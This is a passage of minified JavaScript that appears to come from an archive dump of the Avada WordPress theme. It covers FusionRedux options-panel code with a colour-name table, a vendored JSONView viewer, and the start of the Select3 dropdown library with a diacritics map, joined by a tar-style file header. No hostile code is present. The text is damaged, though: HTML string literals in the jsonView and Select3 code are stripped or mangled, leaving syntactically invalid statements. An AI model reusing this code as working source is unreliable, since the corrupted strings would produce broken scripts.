  • '),i=e("#fusionredux_rAds")),i.css("position","relative"),i.find(".rAds").attr("style","position:absolute; top: 6px; right: 6px; display:block !important;overflow:hidden;").css("left","-99999px"),i.find(".rAds").html(fusionredux.rAds.replace(//,""));var n=i.find(".rAds");i.height(),i.width(),i.find(".display_header").width();n.find("a").css("float","right").css("line-height",i.height()+"px").css("margin-left","5px"),e(document).ajaxComplete(function(){n.find("a").hide(),setTimeout(function(){e.fusionredux.resizeAds(),n.find("a").fadeIn()},1400),setTimeout(function(){e.fusionredux.resizeAds()},1500),e(document).unbind("ajaxComplete")}),e(window).on("resize",function(){e.fusionredux.resizeAds()})},400)})}(jQuery),jQuery.noConflict();var confirmOnPageExit=function(e){e=e||window.event;var i=fusionredux.args.save_pending;return e&&(e.returnValue=i),window.onbeforeunload=null,i};function fusionredux_change(e){jQuery.fusionredux.check_dependencies(e),jQuery.fusionredux.initFields(),e.hasClass("compiler")&&jQuery("#fusionredux-compiler-hook").val(1);var i=jQuery(e).parents(".fusionredux-container:first"),n=jQuery(e).closest(".fusionredux-group-tab").attr("id"),s=n.split("_");s=s[0];var r=i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').parents(".fusionredux-group-tab-link-li:first"),t=jQuery("#"+n+"_li").parents(".hasSubSections:first");if(jQuery(e).parents("fieldset.fusionredux-field:first").hasClass("fusionredux-field-error")){jQuery(e).parents("fieldset.fusionredux-field:first").removeClass("fusionredux-field-error"),jQuery(e).parent().find(".fusionredux-th-error").slideUp();var a=parseInt(i.find(".fusionredux-field-errors span").text())-1;if(a<=0)jQuery("#"+n+"_li .fusionredux-menu-error").fadeOut("fast").remove(),jQuery("#"+n+"_li .fusionredux-group-tab-link-a").removeClass("hasError"),jQuery("#"+n+"_li").parents(".inside:first").find(".fusionredux-field-errors").slideUp(),jQuery(e).parents(".fusionredux-container:first").find(".fusionredux-field-errors").slideUp(),jQuery("#fusionredux_metaboxes_errors").slideUp();else{var o=parseInt(r.find(".fusionredux-menu-error:first").text())-1;o<=0?r.find(".fusionredux-menu-error:first").fadeOut().remove():r.find(".fusionredux-menu-error:first").text(o),i.find(".fusionredux-field-errors span").text(a)}0!==t.length&&0===t.find(".fusionredux-menu-error").length&&t.find(".hasError").removeClass("hasError")}if(jQuery(e).parents("fieldset.fusionredux-field:first").hasClass("fusionredux-field-warning")){jQuery(e).parents("fieldset.fusionredux-field:first").removeClass("fusionredux-field-warning"),jQuery(e).parents("fieldset.fusionredux-field:first").find(".fusionredux-th-warning").slideUp();var u=parseInt(i.find(".fusionredux-field-warnings span").text())-1;if(u<=0)jQuery("#"+n+"_li .fusionredux-menu-warning").fadeOut("fast").remove(),jQuery("#"+n+"_li .fusionredux-group-tab-link-a").removeClass("hasWarning"),jQuery("#"+n+"_li").parents(".inside:first").find(".fusionredux-field-warnings").slideUp(),jQuery(e).parents(".fusionredux-container:first").find(".fusionredux-field-warnings").slideUp(),jQuery("#fusionredux_metaboxes_warnings").slideUp();else{var d=parseInt(r.find(".fusionredux-menu-warning:first").text())-1;d<=0?r.find(".fusionredux-menu-warning:first").fadeOut().remove():r.find(".fusionredux-menu-warning:first").text(d),i.find(".fusionredux-field-warning span").text(u)}0!==t.length&&0===t.find(".fusionredux-menu-warning").length&&t.find(".hasWarning").removeClass("hasWarning")}i.find(".saved_notice:visible").length>0||(fusionredux.customizer?fusionredux.customizer.save(e,i,n):fusionredux.args.disable_save_warn||(i.find(".fusionredux-save-warn").slideDown(),window.onbeforeunload=confirmOnPageExit))}function colorValidate(e){var i=jQuery(e).val(),n=colorNameToHex(i);return n!==i.replace("#","")?n:i}function colorNameToHex(e){var i=e.replace(/^\s\s*/,"").replace(/\s\s*$/,"").replace("#",""),n={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4","indianred ":"#cd5c5c","indigo ":"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",fusionredux:"#01a3e3",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"};return"undefined"!==n[i.toLowerCase()]?n[i.toLowerCase()]:e}Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/jsonview.min.js000064400000012730152342437710025327 0ustar00/* global console, jsonView *//* * ViewJSON * Version 1.0 * A Google Chrome extension to display JSON in a user-friendly format * * This is a chromeified version of the JSONView Firefox extension by Ben Hollis: * http://jsonview.com * http://code.google.com/p/jsonview * * Also based on the XMLTree Chrome extension by Moonty & alan.stroop * https://chrome.google.com/extensions/detail/gbammbheopgpmaagmckhpjbfgdfkpadb * * port by Jamie Wilkinson (@jamiew) | http://jamiedubs.com | http://github.com/jamiew * MIT license / copyfree (f) F.A.T. Lab http://fffff.at * Speed Project Approved: 2h */function collapse(e){var t=e.target,n=t.parentNode.getElementsByClassName("collapsible");if(!n.length)return;n=n[0];if(n.style.display==="none"){var r=n.parentNode.getElementsByClassName("ellipsis")[0];n.parentNode.removeChild(r),n.style.display=""}else{n.style.display="none";var r=document.createElement("span");r.className="ellipsis",r.innerHTML=" … ",n.parentNode.insertBefore(r,n)}t.innerHTML=t.innerHTML==="-"?"+":"-"}function addCollapser(e){if(e.nodeName!=="LI")return;var t=document.createElement("div");t.className="collapser",t.innerHTML="-",t.addEventListener("click",collapse,!1),e.insertBefore(t,e.firstChild)}function jsonView(e,t){this.debug=!1;if(e.indexOf("#")!==-1)this.idType="id",this.id=e.replace("#","");else{if(e.indexOf(".")===-1){this.debug&&console.log("Can't find that element");return}this.idType="class",this.id=e.replace(".","")}this.data=document.getElementById(this.id).innerHTML;if(typeof t!==undefined)if(t.indexOf("#")!==-1)this.targetType="id",this.target=t.replace("#","");else{if(e.indexOf(".")===-1){this.debug&&console.log("Can't find the target element");return}this.targetType="class",this.target=t.replace(".","")}/^\(.*)\<\/pre\>$/.test(this.data)&&(this.debug&&console.log("JSONView: data is wrapped in
    ...
    , stripping HTML..."),this.data=this.data.replace(/<(?:.|\s)*?>/g,""));var n=/^\s*([\[\{].*[\}\]])\s*$/,r=/^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/,i=/([\[\{][\s\S]*[\]\}])\)/,s=n.test(this.data),o=r.test(this.data);this.debug&&console.log("JSONView: is_json="+s+" is_jsonp="+o);if(s||o){this.debug&&console.log("JSONView: sexytime!");function u(){}u.prototype={htmlEncode:function(e){return e!=null?e.toString().replace(/&/g,"&").replace(/"/g,""").replace(//g,">"):""},decorateWithSpan:function(e,t){return''+this.htmlEncode(e)+""},valueToHTML:function(e){var t=typeof e,n="";return e===null?n+=this.decorateWithSpan("null","null"):e&&e.constructor===Array?n+=this.arrayToHTML(e):t==="object"?n+=this.objectToHTML(e):t==="number"?n+=this.decorateWithSpan(e,"num"):t==="string"?/^(http|https):\/\/[^\s]+$/.test(e)?n+=''+this.htmlEncode(e)+"":n+=this.decorateWithSpan('"'+e+'"',"string"):t==="boolean"&&(n+=this.decorateWithSpan(e,"bool")),n},arrayToHTML:function(e){var t='[
      ',n=!1;for(var r in e)n=!0,t+="
    • ",t+=this.valueToHTML(e[r]),t+="
    • ";return t+="
    ]",n||(t="[ ]"),t},objectToHTML:function(e){var t='{
      ',n=!1;for(var r in e)n=!0,t+="
    • ",t+=''+this.htmlEncode(r)+": ",t+=this.valueToHTML(e[r]),t+="
    • ";return t+="
    }",n||(t="{ }"),t},jsonToHTML:function(e,t,n){var r="";return t?(r+='
    '+t+" (
    ",r+='
    '):r+='
    ',r+=this.valueToHTML(e),r+="
    ",t&&(r+='
    )
    '),this.toHTML(r,n)},errorPage:function(e,t,n){var r='
    Error parsing JSON: '+e.message+"
    ";return r+="

    "+e.stack+":

    ",r+='
    '+this.htmlEncode(t)+"
    ",this.toHTML(r,n+" - Error")},toHTML:function(e){return e}},this.jsonFormatter=new u;var a="",f="",l="",c=r.exec(this.data);c&&c.length===3?(this.debug&&console.log("THIS IS JSONp"),l=c[1],f=c[2]):(this.debug&&console.log("Vanilla JSON"),f=this.data),this.debug&&console.log(f);try{var h=JSON.parse(f);if(!h)throw"There was no object!";a=this.jsonFormatter.jsonToHTML(h,l)}catch(p){this.debug&&console.log(p),a=this.jsonFormatter.errorPage(p,this.data)}var d="";this.targetType!==undefined&&(this.idType=this.targetType,this.id=this.target);var v;this.idType==="class"?(v=document.getElementsByClassName(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a)):this.idType==="id"&&(v=document.getElementById(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a),v.innerHTML=d+a);var m=document.getElementsByClassName("collapsible");for(var g=0;gc;c+=1)if(r(a,b[c]))return c;return-1}function q(){var b=a(l);b.appendTo(document.body);var c={width:b.width()-b[0].clientWidth,height:b.height()-b[0].clientHeight};return b.remove(),c}function r(a,c){return a===c?!0:a===b||c===b?!1:null===a||null===c?!1:a.constructor===String?a+""==c+"":c.constructor===String?c+""==a+"":!1}function s(a,b,c){var d,e,f;if(null===a||a.length<1)return[];for(d=a.split(b),e=0,f=d.length;f>e;e+=1)d[e]=c(d[e]);return d}function t(a){return a.outerWidth(!1)-a.width()}function u(c){var d="keyup-change-value";c.on("keydown",function(){a.data(c,d)===b&&a.data(c,d,c.val())}),c.on("keyup",function(){var e=a.data(c,d);e!==b&&c.val()!==e&&(a.removeData(c,d),c.trigger("keyup-change"))})}function v(c){c.on("mousemove",function(c){var d=h;(d===b||d.x!==c.pageX||d.y!==c.pageY)&&a(c.target).trigger("mousemove-filtered",c)})}function w(a,c,d){d=d||b;var e;return function(){var b=arguments;window.clearTimeout(e),e=window.setTimeout(function(){c.apply(d,b)},a)}}function x(a,b){var c=w(a,function(a){b.trigger("scroll-debounced",a)});b.on("scroll",function(a){p(a.target,b.get())>=0&&c(a)})}function y(a){a[0]!==document.activeElement&&window.setTimeout(function(){var d,b=a[0],c=a.val().length;a.focus();var e=b.offsetWidth>0||b.offsetHeight>0;e&&b===document.activeElement&&(b.setSelectionRange?b.setSelectionRange(c,c):b.createTextRange&&(d=b.createTextRange(),d.collapse(!1),d.select()))},0)}function z(b){b=a(b)[0];var c=0,d=0;if("selectionStart"in b)c=b.selectionStart,d=b.selectionEnd-c;else if("selection"in document){b.focus();var e=document.selection.createRange();d=document.selection.createRange().text.length,e.moveStart("character",-b.value.length),c=e.text.length-d}return{offset:c,length:d}}function A(a){a.preventDefault(),a.stopPropagation()}function B(a){a.preventDefault(),a.stopImmediatePropagation()}function C(b){if(!g){var c=b[0].currentStyle||window.getComputedStyle(b[0],null);g=a(document.createElement("div")).css({position:"absolute",left:"-10000px",top:"-10000px",display:"none",fontSize:c.fontSize,fontFamily:c.fontFamily,fontStyle:c.fontStyle,fontWeight:c.fontWeight,letterSpacing:c.letterSpacing,textTransform:c.textTransform,whiteSpace:"nowrap"}),g.attr("class","select3-sizer"),a(document.body).append(g)}return g.text(b.val()),g.width()}function D(b,c,d){var e,g,f=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each2(function(){0===this.indexOf("select3-")&&f.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each2(function(){0!==this.indexOf("select3-")&&(g=d(this),g&&f.push(g))})),b.attr("class",f.join(" "))}function E(a,b,c,d){var e=o(a.toUpperCase()).indexOf(o(b.toUpperCase())),f=b.length;return 0>e?(c.push(d(a)),void 0):(c.push(d(a.substring(0,e))),c.push(""),c.push(d(a.substring(e,e+f))),c.push(""),c.push(d(a.substring(e+f,a.length))),void 0)}function F(a){var b={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})}function G(c){var d,e=null,f=c.quietMillis||100,g=c.url,h=this;return function(i){window.clearTimeout(d),d=window.setTimeout(function(){var d=c.data,f=g,j=c.transport||a.fn.select3.ajaxDefaults.transport,k={type:c.type||"GET",cache:c.cache||!1,jsonpCallback:c.jsonpCallback||b,dataType:c.dataType||"json"},l=a.extend({},a.fn.select3.ajaxDefaults.params,k);d=d?d.call(h,i.term,i.page,i.context):null,f="function"==typeof f?f.call(h,i.term,i.page,i.context):f,e&&"function"==typeof e.abort&&e.abort(),c.params&&(a.isFunction(c.params)?a.extend(l,c.params.call(h)):a.extend(l,c.params)),a.extend(l,{url:f,dataType:c.dataType,data:d,success:function(a){var b=c.results(a,i.page,i);i.callback(b)},error:function(a,b,c){var d={hasError:!0,jqXHR:a,textStatus:b,errorThrown:c};i.callback(d)}}),e=j.call(h,l)},f)}}function H(b){var d,e,c=b,f=function(a){return""+a.text};a.isArray(c)&&(e=c,c={results:e}),a.isFunction(c)===!1&&(e=c,c=function(){return e});var g=c();return g.text&&(f=g.text,a.isFunction(f)||(d=g.text,f=function(a){return a[d]})),function(b){var g,d=b.term,e={results:[]};return""===d?(b.callback(c()),void 0):(g=function(c,e){var h,i;if(c=c[0],c.children){h={};for(i in c)c.hasOwnProperty(i)&&(h[i]=c[i]);h.children=[],a(c.children).each2(function(a,b){g(b,h.children)}),(h.children.length||b.matcher(d,f(h),c))&&e.push(h)}else b.matcher(d,f(c),c)&&e.push(c)},a(c().results).each2(function(a,b){g(b,e.results)}),b.callback(e),void 0)}}function I(c){var d=a.isFunction(c);return function(e){var f=e.term,g={results:[]},h=d?c(e):c;a.isArray(h)&&(a(h).each(function(){var a=this.text!==b,c=a?this.text:this;(""===f||e.matcher(f,c))&&g.results.push(a?this:{id:this,text:this})}),e.callback(g))}}function J(b,c){if(a.isFunction(b))return!0;if(!b)return!1;if("string"==typeof b)return!0;throw new Error(c+" must be a string, function, or falsy value")}function K(b,c){if(a.isFunction(b)){var d=Array.prototype.slice.call(arguments,2);return b.apply(c,d)}return b}function L(b){var c=0;return a.each(b,function(a,b){b.children?c+=L(b.children):c++}),c}function M(a,c,d,e){var h,i,j,k,l,f=a,g=!1;if(!e.createSearchChoice||!e.tokenSeparators||e.tokenSeparators.length<1)return b;for(;;){for(i=-1,j=0,k=e.tokenSeparators.length;k>j&&(l=e.tokenSeparators[j],i=a.indexOf(l),!(i>=0));j++);if(0>i)break;if(h=a.substring(0,i),a=a.substring(i+l.length),h.length>0&&(h=e.createSearchChoice.call(this,h,c),h!==b&&null!==h&&e.id(h)!==b&&null!==e.id(h))){for(g=!1,j=0,k=c.length;k>j;j++)if(r(e.id(h),e.id(c[j]))){g=!0;break}g||d(h)}}return f!==a?a:void 0}function N(){var b=this;a.each(arguments,function(a,c){b[c].remove(),b[c]=null})}function O(b,c){var d=function(){};return d.prototype=new b,d.prototype.constructor=d,d.prototype.parent=b.prototype,d.prototype=a.extend(d.prototype,c),d}if(window.Select3===b){var c,d,e,f,g,i,j,h={x:0,y:0},k={TAB:9,ENTER:13,ESC:27,SPACE:32,LEFT:37,UP:38,RIGHT:39,DOWN:40,SHIFT:16,CTRL:17,ALT:18,PAGE_UP:33,PAGE_DOWN:34,HOME:36,END:35,BACKSPACE:8,DELETE:46,isArrow:function(a){switch(a=a.which?a.which:a){case k.LEFT:case k.RIGHT:case k.UP:case k.DOWN:return!0}return!1},isControl:function(a){var b=a.which;switch(b){case k.SHIFT:case k.CTRL:case k.ALT:return!0}return a.metaKey?!0:!1},isFunctionKey:function(a){return a=a.which?a.which:a,a>=112&&123>=a}},l="
    ",m={"\u24b6":"A","\uff21":"A","\xc0":"A","\xc1":"A","\xc2":"A","\u1ea6":"A","\u1ea4":"A","\u1eaa":"A","\u1ea8":"A","\xc3":"A","\u0100":"A","\u0102":"A","\u1eb0":"A","\u1eae":"A","\u1eb4":"A","\u1eb2":"A","\u0226":"A","\u01e0":"A","\xc4":"A","\u01de":"A","\u1ea2":"A","\xc5":"A","\u01fa":"A","\u01cd":"A","\u0200":"A","\u0202":"A","\u1ea0":"A","\u1eac":"A","\u1eb6":"A","\u1e00":"A","\u0104":"A","\u023a":"A","\u2c6f":"A","\ua732":"AA","\xc6":"AE","\u01fc":"AE","\u01e2":"AE","\ua734":"AO","\ua736":"AU","\ua738":"AV","\ua73a":"AV","\ua73c":"AY","\u24b7":"B","\uff22":"B","\u1e02":"B","\u1e04":"B","\u1e06":"B","\u0243":"B","\u0182":"B","\u0181":"B","\u24b8":"C","\uff23":"C","\u0106":"C","\u0108":"C","\u010a":"C","\u010c":"C","\xc7":"C","\u1e08":"C","\u0187":"C","\u023b":"C","\ua73e":"C","\u24b9":"D","\uff24":"D","\u1e0a":"D","\u010e":"D","\u1e0c":"D","\u1e10":"D","\u1e12":"D","\u1e0e":"D","\u0110":"D","\u018b":"D","\u018a":"D","\u0189":"D","\ua779":"D","\u01f1":"DZ","\u01c4":"DZ","\u01f2":"Dz","\u01c5":"Dz","\u24ba":"E","\uff25":"E","\xc8":"E","\xc9":"E","\xca":"E","\u1ec0":"E","\u1ebe":"E","\u1ec4":"E","\u1ec2":"E","\u1ebc":"E","\u0112":"E","\u1e14":"E","\u1e16":"E","\u0114":"E","\u0116":"E","\xcb":"E","\u1eba":"E","\u011a":"E","\u0204":"E","\u0206":"E","\u1eb8":"E","\u1ec6":"E","\u0228":"E","\u1e1c":"E","\u0118":"E","\u1e18":"E","\u1e1a":"E","\u0190":"E","\u018e":"E","\u24bb":"F","\uff26":"F","\u1e1e":"F","\u0191":"F","\ua77b":"F","\u24bc":"G","\uff27":"G","\u01f4":"G","\u011c":"G","\u1e20":"G","\u011e":"G","\u0120":"G","\u01e6":"G","\u0122":"G","\u01e4":"G","\u0193":"G","\ua7a0":"G","\ua77d":"G","\ua77e":"G","\u24bd":"H","\uff28":"H","\u0124":"H","\u1e22":"H","\u1e26":"H","\u021e":"H","\u1e24":"H","\u1e28":"H","\u1e2a":"H","\u0126":"H","\u2c67":"H","\u2c75":"H","\ua78d":"H","\u24be":"I","\uff29":"I","\xcc":"I","\xcd":"I","\xce":"I","\u0128":"I","\u012a":"I","\u012c":"I","\u0130":"I","\xcf":"I","\u1e2e":"I","\u1ec8":"I","\u01cf":"I","\u0208":"I","\u020a":"I","\u1eca":"I","\u012e":"I","\u1e2c":"I","\u0197":"I","\u24bf":"J","\uff2a":"J","\u0134":"J","\u0248":"J","\u24c0":"K","\uff2b":"K","\u1e30":"K","\u01e8":"K","\u1e32":"K","\u0136":"K","\u1e34":"K","\u0198":"K","\u2c69":"K","\ua740":"K","\ua742":"K","\ua744":"K","\ua7a2":"K","\u24c1":"L","\uff2c":"L","\u013f":"L","\u0139":"L","\u013d":"L","\u1e36":"L","\u1e38":"L","\u013b":"L","\u1e3c":"L","\u1e3a":"L","\u0141":"L","\u023d":"L","\u2c62":"L","\u2c60":"L","\ua748":"L","\ua746":"L","\ua780":"L","\u01c7":"LJ","\u01c8":"Lj","\u24c2":"M","\uff2d":"M","\u1e3e":"M","\u1e40":"M","\u1e42":"M","\u2c6e":"M","\u019c":"M","\u24c3":"N","\uff2e":"N","\u01f8":"N","\u0143":"N","\xd1":"N","\u1e44":"N","\u0147":"N","\u1e46":"N","\u0145":"N","\u1e4a":"N","\u1e48":"N","\u0220":"N","\u019d":"N","\ua790":"N","\ua7a4":"N","\u01ca":"NJ","\u01cb":"Nj","\u24c4":"O","\uff2f":"O","\xd2":"O","\xd3":"O","\xd4":"O","\u1ed2":"O","\u1ed0":"O","\u1ed6":"O","\u1ed4":"O","\xd5":"O","\u1e4c":"O","\u022c":"O","\u1e4e":"O","\u014c":"O","\u1e50":"O","\u1e52":"O","\u014e":"O","\u022e":"O","\u0230":"O","\xd6":"O","\u022a":"O","\u1ece":"O","\u0150":"O","\u01d1":"O","\u020c":"O","\u020e":"O","\u01a0":"O","\u1edc":"O","\u1eda":"O","\u1ee0":"O","\u1ede":"O","\u1ee2":"O","\u1ecc":"O","\u1ed8":"O","\u01ea":"O","\u01ec":"O","\xd8":"O","\u01fe":"O","\u0186":"O","\u019f":"O","\ua74a":"O","\ua74c":"O","\u01a2":"OI","\ua74e":"OO","\u0222":"OU","\u24c5":"P","\uff30":"P","\u1e54":"P","\u1e56":"P","\u01a4":"P","\u2c63":"P","\ua750":"P","\ua752":"P","\ua754":"P","\u24c6":"Q","\uff31":"Q","\ua756":"Q","\ua758":"Q","\u024a":"Q","\u24c7":"R","\uff32":"R","\u0154":"R","\u1e58":"R","\u0158":"R","\u0210":"R","\u0212":"R","\u1e5a":"R","\u1e5c":"R","\u0156":"R","\u1e5e":"R","\u024c":"R","\u2c64":"R","\ua75a":"R","\ua7a6":"R","\ua782":"R","\u24c8":"S","\uff33":"S","\u1e9e":"S","\u015a":"S","\u1e64":"S","\u015c":"S","\u1e60":"S","\u0160":"S","\u1e66":"S","\u1e62":"S","\u1e68":"S","\u0218":"S","\u015e":"S","\u2c7e":"S","\ua7a8":"S","\ua784":"S","\u24c9":"T","\uff34":"T","\u1e6a":"T","\u0164":"T","\u1e6c":"T","\u021a":"T","\u0162":"T","\u1e70":"T","\u1e6e":"T","\u0166":"T","\u01ac":"T","\u01ae":"T","\u023e":"T","\ua786":"T","\ua728":"TZ","\u24ca":"U","\uff35":"U","\xd9":"U","\xda":"U","\xdb":"U","\u0168":"U","\u1e78":"U","\u016a":"U","\u1e7a":"U","\u016c":"U","\xdc":"U","\u01db":"U","\u01d7":"U","\u01d5":"U","\u01d9":"U","\u1ee6":"U","\u016e":"U","\u0170":"U","\u01d3":"U","\u0214":"U","\u0216":"U","\u01af":"U","\u1eea":"U","\u1ee8":"U","\u1eee":"U","\u1eec":"U","\u1ef0":"U","\u1ee4":"U","\u1e72":"U","\u0172":"U","\u1e76":"U","\u1e74":"U","\u0244":"U","\u24cb":"V","\uff36":"V","\u1e7c":"V","\u1e7e":"V","\u01b2":"V","\ua75e":"V","\u0245":"V","\ua760":"VY","\u24cc":"W","\uff37":"W","\u1e80":"W","\u1e82":"W","\u0174":"W","\u1e86":"W","\u1e84":"W","\u1e88":"W","\u2c72":"W","\u24cd":"X","\uff38":"X","\u1e8a":"X","\u1e8c":"X","\u24ce":"Y","\uff39":"Y","\u1ef2":"Y","\xdd":"Y","\u0176":"Y","\u1ef8":"Y","\u0232":"Y","\u1e8e":"Y","\u0178":"Y","\u1ef6":"Y","\u1ef4":"Y","\u01b3":"Y","\u024e":"Y","\u1efe":"Y","\u24cf":"Z","\uff3a":"Z","\u0179":"Z","\u1e90":"Z","\u017b":"Z","\u017d":"Z","\u1e92":"Z","\u1e94":"Z","\u01b5":"Z","\u0224":"Z","\u2c7f":"Z","\u2c6b":"Z","\ua762":"Z","\u24d0":"a","\uff41":"a","\u1e9a":"a","\xe0":"a","\xe1":"a","\xe2":"a","\u1ea7":"a","\u1ea5":"a","\u1eab":"a","\u1ea9":"a","\xe3":"a","\u0101":"a","\u0103":"a","\u1eb1":"a","\u1eaf":"a","\u1eb5":"a","\u1eb3":"a","\u0227":"a","\u01e1":"a","\xe4":"a","\u01df":"a","\u1ea3":"a","\xe5":"a","\u01fb":"a","\u01ce":"a","\u0201":"a","\u0203":"a","\u1ea1":"a","\u1ead":"a","\u1eb7":"a","\u1e01":"a","\u0105":"a","\u2c65":"a","\u0250":"a","\ua733":"aa","\xe6":"ae","\u01fd":"ae","\u01e3":"ae","\ua735":"ao","\ua737":"au","\ua739":"av","\ua73b":"av","\ua73d":"ay","\u24d1":"b","\uff42":"b","\u1e03":"b","\u1e05":"b","\u1e07":"b","\u0180":"b","\u0183":"b","\u0253":"b","\u24d2":"c","\uff43":"c","\u0107":"c","\u0109":"c","\u010b":"c","\u010d":"c","\xe7":"c","\u1e09":"c","\u0188":"c","\u023c":"c","\ua73f":"c","\u2184":"c","\u24d3":"d","\uff44":"d","\u1e0b":"d","\u010f":"d","\u1e0d":"d","\u1e11":"d","\u1e13":"d","\u1e0f":"d","\u0111":"d","\u018c":"d","\u0256":"d","\u0257":"d","\ua77a":"d","\u01f3":"dz","\u01c6":"dz","\u24d4":"e","\uff45":"e","\xe8":"e","\xe9":"e","\xea":"e","\u1ec1":"e","\u1ebf":"e","\u1ec5":"e","\u1ec3":"e","\u1ebd":"e","\u0113":"e","\u1e15":"e","\u1e17":"e","\u0115":"e","\u0117":"e","\xeb":"e","\u1ebb":"e","\u011b":"e","\u0205":"e","\u0207":"e","\u1eb9":"e","\u1ec7":"e","\u0229":"e","\u1e1d":"e","\u0119":"e","\u1e19":"e","\u1e1b":"e","\u0247":"e","\u025b":"e","\u01dd":"e","\u24d5":"f","\uff46":"f","\u1e1f":"f","\u0192":"f","\ua77c":"f","\u24d6":"g","\uff47":"g","\u01f5":"g","\u011d":"g","\u1e21":"g","\u011f":"g","\u0121":"g","\u01e7":"g","\u0123":"g","\u01e5":"g","\u0260":"g","\ua7a1":"g","\u1d79":"g","\ua77f":"g","\u24d7":"h","\uff48":"h","\u0125":"h","\u1e23":"h","\u1e27":"h","\u021f":"h","\u1e25":"h","\u1e29":"h","\u1e2b":"h","\u1e96":"h","\u0127":"h","\u2c68":"h","\u2c76":"h","\u0265":"h","\u0195":"hv","\u24d8":"i","\uff49":"i","\xec":"i","\xed":"i","\xee":"i","\u0129":"i","\u012b":"i","\u012d":"i","\xef":"i","\u1e2f":"i","\u1ec9":"i","\u01d0":"i","\u0209":"i","\u020b":"i","\u1ecb":"i","\u012f":"i","\u1e2d":"i","\u0268":"i","\u0131":"i","\u24d9":"j","\uff4a":"j","\u0135":"j","\u01f0":"j","\u0249":"j","\u24da":"k","\uff4b":"k","\u1e31":"k","\u01e9":"k","\u1e33":"k","\u0137":"k","\u1e35":"k","\u0199":"k","\u2c6a":"k","\ua741":"k","\ua743":"k","\ua745":"k","\ua7a3":"k","\u24db":"l","\uff4c":"l","\u0140":"l","\u013a":"l","\u013e":"l","\u1e37":"l","\u1e39":"l","\u013c":"l","\u1e3d":"l","\u1e3b":"l","\u017f":"l","\u0142":"l","\u019a":"l","\u026b":"l","\u2c61":"l","\ua749":"l","\ua781":"l","\ua747":"l","\u01c9":"lj","\u24dc":"m","\uff4d":"m","\u1e3f":"m","\u1e41":"m","\u1e43":"m","\u0271":"m","\u026f":"m","\u24dd":"n","\uff4e":"n","\u01f9":"n","\u0144":"n","\xf1":"n","\u1e45":"n","\u0148":"n","\u1e47":"n","\u0146":"n","\u1e4b":"n","\u1e49":"n","\u019e":"n","\u0272":"n","\u0149":"n","\ua791":"n","\ua7a5":"n","\u01cc":"nj","\u24de":"o","\uff4f":"o","\xf2":"o","\xf3"